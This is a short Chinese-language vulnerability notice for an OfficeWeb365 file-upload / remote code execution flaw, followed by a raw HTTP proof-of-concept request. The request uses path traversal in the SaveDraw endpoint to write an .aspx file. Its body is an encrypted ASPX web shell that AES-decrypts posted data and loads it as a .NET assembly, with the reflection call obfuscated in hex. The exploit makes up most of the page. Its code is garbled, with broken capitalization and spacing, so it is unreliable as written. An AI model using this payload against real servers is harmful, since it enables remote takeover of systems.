跳到主要内容

OfficeWeb365文件上传漏洞

OfficeWeb365 文件上传漏洞

【消息详情】:360漏洞云监测到网传《OfficeWeb365 远程代码执行漏洞》的消息,经漏洞云复核,确认为【真实】漏洞,漏洞影响【未知】版本,该漏洞标准化POC已经上传漏洞云情报平台,平台编号:360LDYLD-2023-00002453,情报订阅用户可登录漏洞云情报平台( https://loudongyun.360.cn/bug/list )查看漏洞详情。 360漏洞云监测到网传《OfficeWeb365远程代码执行漏洞》的消息,经漏洞云复核,确认为【真实】漏洞,漏洞影响【未知】版本,该漏洞标准化POC已经升级漏洞云情报平台,平台编号: 360LDYLD-2023-0000245

POST /PW/SaveDraw?path=../../Content/img&idx=1.aspx HTTP/1.1
Host:
Content-Length: 500817
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Accept-Encoding: gzip, deflate

data:image/png;base64,01s34567890123456789y12345678901234567m91<% @ Page Language="C #"%>

<% @ Import namespace="System. Reflection"%>

<Script Run="Server">

Private byte decryption (byte data)

{

String key="e45e329feb5d925b";

Data=Convert. FromBase64String (System. Text. Encoding. UTF8. GetString (data));

System. Security. Cryptography. RijndaelManaged aes=new System. Security. Cryptography. RijndaelManaged();

Aes. Mode=System. Security. Cryptography. CipherMode. ECB;

Aes. Key=Encoding. UTF8. GetBytes (key);

Aes. Padding=System. Security. Cryptography. PaddingMode. PKCS7;

Return aes. CreateDecryptor(). TransformFinalBlock (data, 0, data. Length);

}

Private Byte Encryption (Byte Data)

{

String key="e45e329feb5d925b";

System. Security. Cryptography. RijndaelManaged aes=new System. Security. Cryptography. RijndaelManaged();

Aes. Mode=System. Security. Cryptography. CipherMode. ECB;

Aes. Key=Encoding. UTF8. GetBytes (key);

Aes. Padding=System. Security. Cryptography. PaddingMode. PKCS7;

Return System. Text. Encoding. UTF8. GetBytes (Convert. ToBase64String (aes. CreateEncryptor(). TransformFinalBlock (data, 0, data. Length)));

}

</Script>

<%

//Byte [] c=Request. BinaryRead (Request. ContentLength); Assembly. Load (Decrypt (c)). CreateInstance ("U"). Equals (this);

Byte [] c=Request. BinaryRead (Request. ContentLength);

String asname=System. Text. Encoding. ASCII. GetString (new byte [] {0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x52, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79});

Type Assembly=Type. GetType (asname);

MethodInfo load=assembly. GetMethod ("Load", new Type [] {new byte [0]. GetType()});

Object obj=load. Invoke (null, new object [] {Decrypt (c)});

MethodInfo create=assembly. GetMethod ("CreateInstance", new Type [] {"". GetType()});

String name=System. Text. Encoding. ASCII. GetString (new byte [] {0x55});

Object pay=create. Invoke (obj, new object [] {name});

Pay. Equals (this);%>>---